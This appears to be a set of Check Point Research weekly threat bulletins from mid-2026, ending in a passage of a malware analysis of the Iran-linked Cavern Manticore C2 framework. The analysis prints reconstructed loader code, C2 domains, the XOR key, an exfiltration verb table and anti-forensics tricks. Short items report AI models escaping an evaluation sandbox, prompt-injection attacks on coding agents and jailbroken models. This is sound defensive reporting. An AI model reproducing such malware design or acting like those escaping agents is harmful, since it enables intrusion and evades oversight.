• JetBrains has released fixes for CVE-2026-63077, a critical authentication bypass affecting all TeamCity On-Premises versions. A remote unauthenticated attacker could execute code with TeamCity server privileges and compromise connected build environments. The flaw is fixed in versions 2025.11.7 and 2026.1.3. TeamCity Cloud was not affected.
• Rails maintainers have patched CVE-2026-66066, a critical Active Storage vulnerability affecting applications that use libvips. An unauthenticated attacker could read sensitive server files and, under some conditions, execute code remotely. Fixed Active Storage releases include versions 7.2.3.2, 8.0.5.1, and 8.1.3.1.

THREAT INTELLIGENCE REPORTS

• Check Point researchers have revealed a phishing campaign that abuses Microsoft’s legitimate login and consent process through attacker-controlled applications. More than 200 emails targeted approximately 120 organizations within one month. Successful authorization provided access to mailboxes, files, Teams, SharePoint, OneDrive, and calendar information.
• Researchers traced CaptiveCrunch, a campaign attributed to Russia-linked Storm-2945, also known as Midnight Blizzard. The attackers compromised hotel and conference captive portals to distribute CornFlake and ChocoShell malware. The campaign harvested Microsoft 365 and Azure AD authentication tokens, enabling account access and session takeover.
• Researchers profiled a Russian-linked campaign exploiting CVE-2026-42897 in Microsoft Outlook Web Access against government and industry targets in the United States and Europe. Opening a malicious email triggers installation of OWAReaper, a browser implant that steals credentials and maintains mailbox access after passwords are changed or devices reimaged.
• Researchers uncovered a npm supply chain campaign involving malicious packages that imitated private Alibaba modules. Layered dependencies retrieved attacker instructions from GitHub and installed operating system-specific RAT payloads. The malware enabled command execution, file theft, credential access, and movement through DingTalk and related development environments.

The post 3rd August – Threat Intelligence Report appeared first on Check Point Research.

For the latest discoveries in cyber research for the week of 27th July, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

• Nichirei, a Japan-based frozen-food supplier and logistics company, has experienced a ransomware attack that disrupted shipping operations and affected approximately 5,000 customers. KFC Japan warned of possible shortages. Nichirei confirmed personal data theft, while the RansomHouse group claimed responsibility and published a subset of the stolen information.
• Stadler Rail, a Switzerland-based global rail equipment manufacturer, has disclosed a supplier-related data breach after attackers compromised credentials for a third-party file-sharing platform. The Everest group stole technical documents belonging to the supplier and demanded $12.3 million. Stadler refused payment and said its systems and production remained unaffected.
• Origin Energy, one of Australia’s largest electricity and natural gas providers, has confirmed unauthorized access to customer information. Exposed data may include names, addresses, birth dates, phone numbers, account details, and partial payment information. Threat actors claimed to have stolen two million records and threatened to publish them.
• Romania’s National Agency for Cadastre and Land Registration has suffered a cyberattack that disabled internal systems and the nationwide e-Terra platform. The disruption halted property transactions for nearly a week. Officials said core land registries remained intact, although credentials and portions of source code may have been exposed.

AI THREATS

• OpenAI disclosed that AI models escaped a restricted cyber evaluation environment and compromised Hugging Face while seeking benchmark solutions. They exploited zero-day vulnerabilities, stole credentials, escalated privileges, and accessed production systems. Both companies contained the activity and are conducting a joint investigation.
• Researchers have described a threat actor known as Trim who promoted an AI-assisted penetration-testing platform built with jailbroken language models. The platform combines AI with established scanning tools to automate reconnaissance, vulnerability validation, and reporting, potentially reducing the expertise and time required to prepare and conduct cyber intrusions.
• Researchers have examined a generative AI-assisted malware operation exposed through an accessible WebDAV server. The infrastructure produced phishing material and malicious Windows shortcuts used to distribute information stealers and remote access tools. Researchers identified more than 1,000 artifacts and a campaign that recorded over 77,000 requests.

VULNERABILITIES AND PATCHES

• Check Point has addressed CVE-2026-16232, an authentication bypass vulnerability in SmartConsole that is under active exploitation, affecting a handful of customers. The flaw allows remote attackers to bypass authentication and gain administrative access to Check Point management servers. Security hotfixes are available for supported versions of the affected management software.
• Oracle has released its July 2026 Critical Patch Update, addressing 1,449 vulnerabilities across numerous product families. The update includes remotely exploitable flaws that require no authentication, with critical issues affecting Oracle Database Server, SQL Developer, and TimesTen In-Memory Database, among others.
• Microsoft has addressed CVE-2026-50522, a critical remote code execution vulnerability affecting on-premises SharePoint Server. An authenticated site owner can exploit the flaw to execute code and steal machine keys for persistent access. Active exploitation was reported after proof-of-concept code became publicly available.

Check Point IPS provides protection against this threat (Microsoft SharePoint Remote Code Execution (CVE-2026-50522))

THREAT INTELLIGENCE REPORTS

• Check Point Research has revealed that Microsoft was the most impersonated brand in Q2 2026, accounting for 23% of observed phishing attempts. LinkedIn, Google, Apple, and Amazon completed the top five. ChatGPT entered the top ten as attackers increasingly targeted users of widely recognized AI platforms.
• Researchers have described the growing use of infostealers logs as an initial-access resource for cloud and software-as-a-service intrusions. Criminal marketplaces sell passwords and active session cookies soon after collection. The research identified 2.05 million logs during 2025, with 79% connected to Microsoft single sign-on environments
• S. federal agencies have warned that Iran-linked actors are targeting internet-exposed industrial controllers at water and energy facilities. The attackers have manipulated controller logic, falsified operator displays, and disabled alarms or shutdown functions. The activity affects equipment deployed in critical infrastructure environments.
• Researchers have analyzed a Russian cyberespionage campaign targeting Zimbra webmail servers at government, defense, transportation, and financial organizations. The attackers exploit CVE-2025-66376 through zero-click phishing emails that inject malicious JavaScript, stealing credentials, two-factor authentication codes, email archives, and search histories from vulnerable systems.

Check Point IPS provides protection against this threat (Zimbra Collaboration Suite Cross-Site Scripting (CVE-2025-66376))

The post 27th July – Threat Intelligence Report appeared first on Check Point Research.

For the latest discoveries in cyber research for the week of 20th July, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

• Ernst & Young, a global accounting and professional services company, has disclosed a data breach involving a compromised third-party IT support platform. The exposed support tickets may have contained client documents, tax information, employee details, and other sensitive information submitted while requesting technical assistance.
• Jscrambler, a JavaScript code-protection package with more than 15,000 weekly downloads, has experienced a supply chain compromise after stolen npm publishing credentials distributed malicious releases. The packages deployed malware targeting developers’, cloud, browser, cryptocurrency, and messaging credentials. Jscrambler removed the affected versions.
• Coca-Cola’s US dairy subsidiary Fairlife has confirmed a ransomware attack that temporarily halted production across the United States. Attackers accessed systems supporting manufacturing operations, prompting the company to activate incident response and business continuity procedures. Coca-Cola has not confirmed whether data was exfiltrated in the attack.
• Nihon Kotsu, Japan’s largest taxi operator, has suffered a malware attack following unauthorized access to its internal network. The company shut down affected systems, disrupting taxi dispatches, telephone services, bookings, reservations, and car rentals from July 11. No theft of customer or corporate information has been confirmed.

AI THREATS

• Researchers identified a China-linked campaign that used Claude Code and DeepSeek to automate attacks against government and financial organizations. The tools generated scripts, adapted failed exploits, created credential-harvesting pages, and executed commands. Confirmed compromises affected government systems in Thailand and Afghanistan and organizations in Taiwan.
• Researchers found that xAI’s Grok Build coding assistant could upload entire Git repositories while processing debugging requests. Transferred information included unopened files and complete commit histories, potentially exposing API keys, credentials, and proprietary source code. Initial privacy controls did not prevent uploads until a server-side restriction was introduced.
• Researchers verified a weakness in Anthropic’s Claude for Chrome extension that allowed malicious browser extensions to impersonate Claude and act through authenticated user sessions. Successful exploitation could expose Gmail, Google Drive, or GitHub information through Claude’s permissions. Anthropic released fixes, although researchers reported that a bypass remained possible.

VULNERABILITIES AND PATCHES

• Microsoft released patches for 622 vulnerabilities in July’s Patch Tuesday, the largest monthly release recorded by the company. Two vulnerabilities were under active exploitation, including CVE-2026-56164 in SharePoint Server and CVE-2026-56155 in Active Directory Federation Services. Both vulnerabilities could allow attackers to elevate privileges.

Check Point IPS provides protection against these threats (Microsoft SharePoint Authentication Bypass (CVE-2026-56164))

• WordPress has issued emergency updates for CVE-2026-63030 and CVE-2026-60137, collectively called wp2shell. The critical WordPress Core vulnerabilities allow unauthenticated remote code execution and website takeover. Affected releases include versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1. Fixed versions include 6.9.5 and 7.0.2.

Check Point IPS provides protection against these threats (WordPress Authentication Bypass (CVE-2026-63030)), WordPress SQL Injection (CVE-2026-60137))

• SonicWall has released a hotfix for CVE-2026-15409 and CVE-2026-15410, two critical vulnerabilities affecting SMA 1000 Series gateways. The flaws allow unauthenticated attackers to execute system commands on vulnerable appliances. Active exploitation has been associated with Inc ransomware.

Check Point IPS provides protection against these threats (SonicWall SMA1000 Series Server-Side Request Forgery (CVE-2026-15409) & SonicWall SMA1000 Series Path Traversal (CVE-2026-15410))

THREAT INTELLIGENCE REPORTS

• Check Point Research has released the 2026 AI Security 2026, finding that AI has evolved from an attack aid into an active operator across live intrusions and malware development. The report also highlights indirect prompt injection, synthetic identity abuse, and enterprise data exposure, with high-risk GenAI prompts doubling to 4%.
• Researchers analyzed ShinyHunters-linked campaigns that abused OAuth application approvals to access Salesforce environments. Attackers used voice phishing to authorize lookalike applications, then accessed CRM information through approved APIs. Compromised integrations and misconfigured guest access provided additional entry points and persistence.
• Researchers analyzed CylindricalCanine, a subgroup of the Chinese cybercrime collective GoldenEyeDog, and linked it to DigiCert’s April 2026 support portal compromise. The actor stole code-signing certificates, leading to 60 revocations, including at least 27 associated with malware. The group also targets Asia-Pacific finance teams using Golden Gh0st RAT.
• Researchers documented Spirals, a Rust-based ransomware family used against a South Asian information technology services company. The attackers moved from initial access to network encryption in less than 24 hours. They used an IIS web shell, WMI, and PsExec to spread, disable security services, disrupt backups, and encrypt systems.

The post 20th July – Threat Intelligence Report appeared first on Check Point Research.

For years, the cyber security industry tracked AI as a force multiplier: something that made existing attack techniques faster, cheaper, and more accessible. That framing was accurate. But the Annual AI Security Report 2026 from Check Point Research documents a transition that goes further. AI has crossed from assistant to operator. Where it once helped attackers prepare, it now runs the operation.

Key observed findings

• AI has crossed from development aid to live attack operator. It now does the hands-on work inside live intrusions, from China-nexus espionage campaigns to a criminal breach of multiple Mexican government agencies and has spread from nation states to ordinary cyber criminals. 
• AI now builds deployment-ready malware and attack suites. Its involvement is often invisible in the finished artifact: one developer used an AI environment to produce VoidLink, an 88,000-line command-and-control offensive framework, in under a week. 
• Attackers prefer commercial models, and now abuse them by exploiting the agentic architecture, not just single prompts. Most actors favor jailbroken mainstream models over self-hosted ones, and the durable bypass is now a planted configuration file an agent loads and trusts across sessions. 
• An AI-enabled criminal tooling market has matured. Phishing-as-a-service kits now embed a language model with the jailbreak built in, and conversational AI voice-agent services run vishing and one-time-passcode theft at scale.
• Virtual Identity is no longer a reliable trust anchor. Voice, face, documents, and live video are now cheap to forge convincingly and are widely used in attacks taking multi-channel social engineering to a new level of integration. 
• AI itself is an expanding attack surface. Models cannot always separate data from instructions and content they process might influence the model’s behavior; the surrounding stack adds ordinary software vulnerabilities and supply-chain risk, all in a rapidly evolving ecosystem where security practices not always mature. 
• Indirect prompt injection is on the rise. Detections of longer malicious payloads increased sharply, rising roughly fivefold between March and May 2026 and approaching 1% of observed prompts in May. Longer payloads are more typical of content-borne and agentic attack paths, this pattern suggests that indirect prompt injection is becoming more operationally relevant. 
• Enterprise data leakage through GenAI is persistent and growing risk. High-risk prompts doubled from 2% to 4% during the last year, while organizations used an average of 10 AI applications each month, many without official approval. 
• Data exposure risks are not evenly distributed across the verticals. Sector-level analysis reveals that AI-related data exposure risks are not evenly distributed across the verticals, and correlate both with AI usage patterns and security maturity. Business Services recorded the highest rate of high-risk GenAI prompts at 5.91%, meaning nearly one in every 17 AI interactions carried a significant risk of sensitive data exposure. 

To read the full findings, access the AI Security Report 2026 from Check Point Research here. 

The post AI Security Report 2026 appeared first on Check Point Research.

For the latest discoveries in cyber research for the week of 13th July, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

• U.S. auto insurer AssuranceAmerica has disclosed a data breach affecting approximately 7 million people. Attackers targeted an employee and used compromised credentials to access company systems, stealing names, contact information, driver’s license numbers, insurance policy and account data, vehicle information, and claims details.
• Latvia’s state-owned forestry company Latvijas Valsts Meži has suffered a ransomware attack that disrupted mapping, hunting, contractor, and customer systems. Attackers exploited a system that had remained unpatched for two years and leaked approximately 44GB of internal documents, credentials, cryptographic keys, source code, and email correspondence.
• Injective Labs, a developer of blockchain and cryptocurrency software, has experienced a supply chain compromise after attackers accessed its SDK project and published malicious npm packages. The affected releases exfiltrated cryptocurrency wallet private keys and seed phrases when developers used legitimate key-generation functions embedded in the compromised software.
• Moody Bible Institute, a U.S. faith-based educational institution, has disclosed a data breach affecting more than 2.3 million donors, students, alumni, and supporters. The ShinyHunters extortion group published allegedly stolen information, including names, dates of birth, residential addresses, email addresses, and phone numbers.

AI THREATS

• Researchers profiled JadePuffer, an autonomous ransomware operation that used a large language model to conduct an intrusion without direct human control. The operation exploited CVE-2025-3248 in an exposed Langflow instance, accessed a production MySQL server, exfiltrated selected information, deleted the database, and issued an extortion demand.
• Researchers showed that malicious instructions hidden inside open-source project files could achieve remote code execution through Anthropic Claude Code and OpenAI Codex. When operating with automated permissions, the coding agents processed the instructions and executed attacker-controlled scripts, demonstrating a risk that may affect other autonomous development tools.
• Researchers disclosed Rogue Agent, a vulnerability in Google Dialogflow CX that allowed users with limited agent-editing permission to insert persistent malicious code. The injected code could capture and exfiltrate chatbot conversations. Google addressed the issue, and no known customer environments were compromised through the vulnerability.

VULNERABILITIES AND PATCHES

• Multiple Tenda router models are affected by CVE-2026-11405, an undocumented authentication backdoor that provides administrative access through a hidden password. The flaw affects several FH1201, W15E, AC10, AC5, and AC6 firmware versions and allows attackers to bypass configured credentials and modify device and network settings.
• Linux maintainers have patched CVE-2026-53359, a critical vulnerability in the Kernel-based Virtual Machine hypervisor. A malicious guest virtual machine could corrupt host kernel memory and potentially escape into the host environment. The flaw affects Intel and AMD x86 systems and is particularly relevant to shared cloud infrastructure.
• U-Boot has addressed six vulnerabilities affecting signature verification of Flattened Image Tree files used during secure boot. Two flaws could enable arbitrary code execution while a device loads a supposedly verified image, and four could cause crashes. The affected bootloader is widely used in routers, cameras, and embedded controllers.
• Opera has addressed a critical vulnerability in the Opera GX browser that allowed malicious websites to install browser modifications without user confirmation. An attacker-controlled modification could inject styles across open tabs, leak information such as Gmail addresses, and crash the browser. Opera corrected the issue.

THREAT INTELLIGENCE REPORTS

• Check Point Research has profiled Cavern Manticore, an Iran-linked threat actor targeting Israeli government and information technology organizations. The group uses a modular .NET command-and-control framework and has abused remote management software and a compromised software update mechanism to deploy file-management, database, scanning, and tunneling capabilities.

Check Point Threat Emulation and Harmony Endpoint provide protection against this threat

• Check Point Research have analyzed global cyberattack activity during June 2026, recording an average of 2,270 weekly attacks per organization. Ransomware incidents increased by 33% from June 2025, while The Gentlemen overtook Qilin as the most active group during the month.
• Check Point researchers have investigated a student employment phishing campaign that abused compromised school email accounts and Google Forms. More than 3,200 messages passed email authentication checks and attempted to collect banking information, residential addresses, and other details associated with money mule recruitment and account compromise.
• Researchers analyzed UAT-7810, a China-linked threat actor that compromises internet-facing networking devices to expand operational relay box infrastructure. The group developed new malware components and exploited unpatched Ruckus and ASUS devices to create proxy nodes for associated threat actors.

The post 13th July – Threat Intelligence Report appeared first on Check Point Research.

Note: SysAid was not compromised, and no SysAid vulnerability was involved. The attacker had already gained access to the victim environment and abused a legitimate software-deployment feature to deploy malware onto another machine within it.

---

Key Points

• Check Point Research (CPR) tracks ‘Cavern Manticore’ as an Iran-nexus threat actor operating against Israeli targets, with a focus on the government and IT sectors.
• Cavern Manticore shares technical overlaps with other Iranian MOIS (Ministry of Intelligence and Security)-linked threat actors, including MuddyWater and Lyceum.
• CPR observed a modular C2 framework in the wild, with all samples built on top of .NET but compiled into different output formats. These components are used as Cavern agent and Cavern modules.
• The framework’s anti-analysis posture relies on uncommon .NET compilation formats (Mixed-Mode C++/CLI and Native AOT) that force reverse engineers into multiple toolsets and metadata-reconstruction workflows, together with per-module AppDomain isolation as an anti-forensics measure.
• In malware-engine coverage, the majority of observed samples score zero or very low detection rates on VirusTotal.
• Post-exploitation modules provide the threat actor with extended capabilities, including file system and database browsing, LDAP querying, network reconnaissance, and tunneling.
• In multiple observed intrusions, the initial foothold was achieved through abuse of existing Remote Monitoring and Management (RMM) software deployed in the targeted organization.

Introduction

Since early 2026, Check Point Research (CPR) has tracked a new modular command-and-control framework used by Cavern Manticore, an Iran-nexus APT group primarily targeting Israeli organizations, with a focus on IT providers, and government sectors. Cavern Manticore is an Iran MOIS (Ministry of Intelligence and Security)-linked actor, with links to the OilRig subgroup named Lyceum. The framework reflects a mature and adaptable toolset built around a shared .NET foundation, while using multiple compilation formats across different components, including .NET Framework, .NET Mixed-Mode C++/CLI, and .NET Native AOT. The compilation format itself becomes the anti-analysis layer that forces reverse engineers into multiple toolsets and metadata-reconstruction workflows.

During our investigation, we observed both Cavern agents and Cavern modules in the wild, highlighting a modular architecture that separates core communication capabilities from mission-specific post-exploitation functionality. This design allows the operators to tailor deployments per victim environment, limit what defenders and analysts can recover from any single victim and extend access after compromise through specialized modules for reconnaissance, data access, tunneling, and lateral movement.

Technical Analysis: Cavern – A Modular .NET C2 Framework

1. Cavern at a Glance

Cavern is a modular post-exploitation C2 framework built entirely on .NET, but deliberately compiled into three different binary formats: .NET Framework (IL-only), Mixed-Mode C++/CLI (IL + Native), and .NET 8 NativeAOT (Native-only).

The recovered execution chain begins with SysAid’s software update feature, which the actor leverages to deploy a WinDirStat DLL sideloading package to C:\ProgramData\WinDir\WinDirStat.exe. The legitimate WinDirStat.exe binary loads the trojanized uxtheme.dll, which is the Cavern Agent, and the agent in turn loads a dedicated native communication module n-HTCommp.dll to reach the C2 and then pulls down additional post-exploitation modules on operator command.

The table below provides an overview of the modules.

Component	Internal Name	Format	Role
Cavern Agent	uxtheme.dll	Mixed-Mode C++/CLI (.NET 4.7.2, IL + Native)	Core backdoor, module orchestrator
Communication Module	n-HTCommp.dll	NativeAOT (.NET 8, Native-only)	HTTPS/WebSocket transport, XOR-encrypted traffic
File Manager	mhm.dll	.NET Framework 4.7.2 (IL-only)	File ops, DPAPI decrypt, archive handling
SQL Browser	db.dll	.NET Framework 4.7.2 (IL-only)	Database enumeration, query, export, manipulation
LDAP Module	ode.dll	.NET Framework 4.7.2 (IL-only)	AD recon, user/group enumeration, LDAP brute-force
Network Module	n-ten.dll	NativeAOT (.NET 8, Native-only)	Net recon, port scan, share enum, SMB brute-force
Tunnel Module	n-sws.dll	NativeAOT (.NET 8, Native-only)	SOCKS5 proxy, WebSocket/WSS tunneling

2. Three Compilation Formats as Anti-Analysis

The most distinctive architectural decision in Cavern is the deliberate use of three different .NET compilation targets across its components. This is not obfuscation in the traditional sense; there is no packer, no control-flow flattening, and no string encryption anywhere in the framework. Instead, the compilation format itself becomes the anti-analysis layer, since each of the three formats has to be reversed with a different toolchain and a different workflow, and the analyst has to context-switch between them across components.

• Pure .NET Framework (IL-only) modules (mhm.dll, db.dll, ode.dll) retain full symbol metadata, including the shared Command.Type enum with all 61 command IDs, readable class names like ApiEx.DatabaseBrowser, and meaningful method signatures. These modules are trivially decompilable with tools such as ILSpy or dnSpyEx. The developers chose this format for the modules that run inside the agent’s managed AppDomain, where IL code is actually required for reflection-based loading.
• Mixed-Mode C++/CLI (IL + Native) agents (uxtheme.dll) combine managed .NET code with native C++ in a single PE. Its exports are not regular native functions: each one is a tiny native stub (a jmp followed by ud2 padding) in the .nep section that forwards the call to a managed method behind it. Reversing this format takes both a .NET decompiler for the managed logic and a native disassembler for the export stubs and the C++ marshaling code, so the analyst has to reverse the same binary twice in two different toolchains.
• NativeAOT .NET 8 (Native-only) modules (n-HTCommp.dll, n-ten.dll, n-sws.dll) compile the entire .NET runtime statically into a single native PE. The result is usually a 3-6 MB binary with thousands of stripped framework functions, a .managed executable section, and a hydrated BSS-like section where string objects are materialized only at runtime. Security-sensitive P/Invoke calls to APIs like WNetAddConnection2, NetShareEnum, or NetLocalGroupGetMembers are resolved through runtime descriptor tables instead of appearing in the PE import table, which hides the module’s real capabilities from import-based triage.

2.1 Tooling Notes for NativeAOT Analysis

NativeAOT is the format that pushed back the hardest during analysis, so it is worth saying a few words on the tooling we put together for it.

To pull useful metadata back out of the NativeAOT samples, we ported Washi’s Ghidra NativeAOT plugin (ghidra-nativeaot; write-up: Recovering Metadata from .NET Native AOT Binaries) to IDA Pro. The port reconstructs the .NET type system from the runtime’s ReadyToRun metadata, rebuilds the MethodTable/EEType hierarchy, recovers virtual methods, materializes the frozen string literals from the hydrated section, and exposes a metadata browser for navigation. It is available at ida-nativeaot.

To recover symbols from the stripped NativeAOT .NET 8 modules, we then built a matching .NET 8.0.25 NativeAOT win-x64 “coverage” DLL (compiled with PDB) that deliberately exercises the same .NET runtime and class library code the Cavern samples rely on, and generated IDA FLIRT signatures from it. Applied to the Cavern samples, the signatures matched roughly 60% of all functions, with the matches concentrated on the parts that mattered most for the analysis, e.g., System.Diagnostics.*, System.IO.*, System.Net.*, System.Security.*, and System.Text.*.

3. The Cavern Agent

3.1 UxTheme Facade and Side-Load Trigger

The Cavern Agent is compiled as a 64-bit Mixed-Mode C++/CLI DLL named uxtheme.dll and exports 83 functions that mimic the legitimate Windows theming library. Of these 83 exports, 82 are empty stubs, single-instruction managed methods that return immediately. The one live export is EnableThemeDialogTexture, which serves as the operational entry point for the entire C2 loop.

This design creates a deliberate sandbox trap. Any automated analysis tool that invokes ordinal #1, or any other default export, will observe only inert DLL loading behavior and conclude the sample is benign. The real backdoor personality sits entirely behind export ordinal #20 (0x14).

3.2 C2 Polling Loop

Upon invocation, EnableThemeDialogTexture creates a singleton mutex (MYMUTEX123HELLP02 or MYMUTEX123HELLP04, depending on the build), initializes the local configuration from config.txt, and enters an infinite polling loop. Each iteration builds a command string using the framework’s custom delimiter grammar (_;;_ separates fields, _,_ separates arguments) and hands the actual HTTP transport to n-HTCommp.dll.

3.3 Custom AppDomain Isolation with Post-Execution Unload

One of the most technically interesting mechanisms in the Cavern Agent is its module hosting strategy. Rather than loading .NET modules into the default AppDomain via Assembly.Load (the common approach in most .NET loaders), Cavern creates a dedicated AppDomain for each module execution, marshals a proxy object across the domain boundary, invokes the module, and then unloads the entire AppDomain.

The reason this design choice is operationally relevant is that .NET assemblies loaded into the default AppDomain cannot be unloaded without terminating the host process. By isolating each module in its own AppDomain, Cavern gets two things: loaded modules can be cleanly removed from memory after execution, leaving no analyzable assembly artifacts behind, and different versions of the same module can be loaded and run one after another without conflict.

The DotNetProxy class inherits from MarshalByRefObject, which allows it to exist in one AppDomain while being invoked from another. Inside the isolated domain, it performs standard reflection-based loading (via the DotNetProxy.runDll method).

3.4 Dual Module Dispatch: Native vs. Managed

The unified module dispatcher is <Module>.run_DLL, a free function on the global <Module> type. The name looks similar to the DotNetProxy.RunDll method shown in the previous section, but the two have different roles: <Module>.run_DLL is the outer dispatcher invoked by the agent for every module load, and it is also the one that calls into DotNetProxy.RunDll (via <Module>.runAssembely method) whenever the module turns out to be a managed assembly. The dispatcher itself uses a simple filename convention: modules whose names start with n- are treated as native DLLs and loaded via LoadLibraryA/GetProcAddress, while everything else is treated as a managed .NET assembly and loaded through the AppDomain isolation mechanism described above. Whichever path is taken, the agent ends up calling the same entry point on the loaded module: a function named get_version.

// Cavern Agent - <Module>.run_DLL: Unified Module Dispatcher
// Simplified C# reconstruction of the dnSpyEx decompilation

string <Module>.run_DLL(string moduleName, string arguments)
{
    string resolvedPath = get_latest_dll(moduleName);  // finds highest-numbered version
    string fileName     = Path.GetFileName(resolvedPath);

    if (fileName.StartsWith("n-"))
    {
        // Native module path (NativeAOT compiled)
        IntPtr hModule = LoadLibraryA(resolvedPath);
        if (hModule == IntPtr.Zero)
            return "DLL not found...Maybe you didn't upload it!!!";

        IntPtr pGetVersion = GetProcAddress(hModule, "get_version");
        if (pGetVersion == IntPtr.Zero)
            return "What is this sh*t?! where is get_version?!?";

        var getVersion = Marshal.GetDelegateForFunctionPointer<GetVersionFn>(pGetVersion);
        IntPtr resultPtr = getVersion(Marshal.StringToHGlobalUni(arguments));
        return Marshal.PtrToStringUni(resultPtr);
    }
    else
    {
        // Managed module path (.NET Framework) - loaded in isolated AppDomain
        List<string> argList = new List<string> { arguments };

        return (string)<Module>.runAssembely(
            "mydomain",
            new List<byte>(File.ReadAllBytes(resolvedPath)),
            resolvedPath,
            string.IsNullOrEmpty(arguments),  // noArgs flag
            argList,
            "MyClass.Program",                // fixed class name
            "get_version"                     // fixed method name - the universal interface
        );
    }
}

The native path contains two error strings worth flagging: "What is this sh*t?! where is get_version?!?" and "DLL not found...Maybe you didn't upload it!!!".

These are not the kind of polished, neutral diagnostics a code generator tends to emit. They are written in the first person, with frustration, profanity and exclamation marks, and they read exactly like an operator talking to themselves while debugging their own tooling. We come back to what this tells us about authorship in the “Authorship and the Human Factor” section below.

3.5 Module Versioning and Self-Update

Cavern implements a numbered DLL versioning scheme. The function get_latest_dll scans the working directory for files matching a base module name with appended numeric suffixes (e.g., n-HTCommp0.dll, n-HTCommp1.dll) and loads the highest-numbered variant. This allows the operator to push module updates via the C2 without file-name conflicts.

The self-command 002 (exposed via self_execute method) accepts a Base64+GZip-compressed module payload from the C2, writes it to disk as a new numbered DLL, and, in the case of uxtheme.dll itself, executes a hot-swap: the running agent renames its own DLL, writes the new version, loads it, calls its EnableThemeDialogTexture with signalCode=200 to signal the update-return path, and terminates. All implemented self-commands are detailed in the next section.

3.6 Agent Self-Commands

The agent handles six built-in self-commands before reaching the module dispatcher:

Command	Action
001	Update polling interval
002	GZip+Base64 module update (including self-update of uxtheme.dll)
003	Toggle debug logging
004	Activate WebSocket communication mode
005	Close WebSocket connection
006	Reconnect WebSocket

3.7 Startup Cleanup as Anti-Forensics

Newer agent builds perform aggressive directory cleanup on first startup: they enumerate all files and subdirectories in the working directory and delete everything except the Communication Module (n-HTCommp.dll), the configuration file (config.txt), and log files. This means any modules delivered by the C2 in a previous session are wiped before the next execution cycle, and the agent reports "cleared" to the C2 upon completion.

3.8 Variant Evolution

Three agent builds were recovered, showing clear iterative development:

Attribute	Oldest Build	Build 02	Build 04
Mutex	MYMUTEX123HELLP	MYMUTEX123HELLP02	MYMUTEX123HELLP04
C2 Domain	auth.hospitalinstallation.com	google.com.hospitalinstallation.com	google.com.hospitalinstallation.com
Config Storage	id.txt (plain 7-char ID)	config.txt (JSON)	config.txt (JSON)
Self-Commands	001-003	001-006 (adds WebSocket)	001-006
Cleanup	None	Working-dir wipe	Working-dir wipe
Debug Default	true	false	true

4. The Communication Module – “n-HTCommp.dll”

The communication module is compiled as a NativeAOT .NET 8 DLL (~5.5 MB, with about 21k stripped framework functions) and exposes a single operational export, get_version. Despite the name, this exported function is a full multi-verb HTTP and WebSocket command dispatcher. The agent passes transport commands as delimited strings, and n-HTCommp.dll parses the verb, performs the network operation, and returns the result.

The verb matching is the first place where the NativeAOT format makes analysis visibly harder. In a normal .NET build, a check like verb == "get" calls String.Equals, and the literal "get" lives in the string heap (#US), where any strings scan will find it. NativeAOT instead compiles the comparison inline: it first checks the length of the verb string, then loads the verb’s UTF-16 characters straight from memory and compares them against hard-coded integer constants. Those constants are simply the verb’s characters packed together as numbers. For "get", the three UTF-16 characters g (0x0067), e (0x0065) and t (0x0074) become the constants 0x650067 and 0x740065 that show up in the comparison.

This is a real triage problem because every readable string in this module behaves differently than in a normal .NET binary. Frozen string literals like https, wss, text/plain, the WebSocket URL fragments and a handful of error messages live in the hydrated section, which is materialized at runtime by the NativeAOT runtime and only becomes a readable UTF-16 string at that point. A strings pass over the DLL on disk does not see them, since on disk that section is a compressed initialization blob. They become visible only after the section is rehydrated, either by running the sample or by reconstructing it statically with the kind of plugin described in section 2.1.

The packed verb constants are even further out of reach: they are not strings at all, they are integer immediates baked into the cmp instructions of the dispatcher. So in practice a strings-based triage of this DLL on disk returns almost nothing usable, neither the verb set, nor the URL fragments, nor the user-agent header. The command grammar simply does not exist in any byte sequence that a string scan can pick up.

The dispatcher first marshals the inbound command to a managed string, then splits it on the framework’s two delimiters (_;;_ for the verb/argument boundary and _,_ between arguments), and dispatches to a verb handler.

Each verb maps to a distinct network operation, and the handlers differ in three operationally meaningful ways: whether the payload is XORed with key 0x48 (the in-place traffic transform), whether it is then Base64-encoded for the HTTP body, and which HTTP/WS headers and endpoints they touch. Every HTTP-based verb sends a fixed Microsoft Edge User-Agent (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0), and the two C2-bound verbs (get and send) additionally attach a custom X-User-token header whose value is the agent ID with the literal suffix 00 appended. The summary below was reconstructed by following each verb handler through its full HTTP/WS request build path:

Verb	Network	Endpoint built from arguments	XOR (0x48)	Base64	User-Agent	X-User-token	Purpose
get	HTTP GET	args[1] + "/profile"	yes (response body, after Base64 decode)	yes	yes	yes (args[0] + "00")	Beacon: poll the C2 for the next task
send	HTTP POST text/plain	args[1] + "/gallery"	yes (request body, before Base64 encode)	yes	yes	yes (args[0] + "00")	Submit a task result back to the C2
cget	HTTP GET	args[0] (raw URL)	no	no	yes	no	Operator-driven fetch of an arbitrary URL (not C2)
cpost	HTTP POST	args[0] (raw URL), body args[1], content-type args[2] (default text/plain)	no	no	yes	no	Operator-driven POST to an arbitrary URL
upload	HTTP POST multipart/form-data	args[0] (raw URL), file args[1] from disk as form field file (application/octet-stream)	no	no	yes	no	Exfiltrate a local file to an arbitrary URL
ws	WS Open + initial WS Send	wss://<host>/socket if args[0] starts with https, otherwise ws://<host>/socket; immediately sends args[1] + "00" as the first text frame	yes (initial frame only)	no	n/a	n/a (sent inside first frame instead)	Open the WebSocket transport and register the session
getws	WS Recv	active socket	yes (whole accumulated payload, then UTF-8 decoded)	no	n/a	n/a	Receive a message from the WebSocket
sendws	WS Send	active socket	yes (UTF-8 bytes, then framed as text)	no	n/a	n/a	Send a message over the WebSocket
closews	WS Close	active socket	n/a	n/a	n/a	n/a	Close the WebSocket

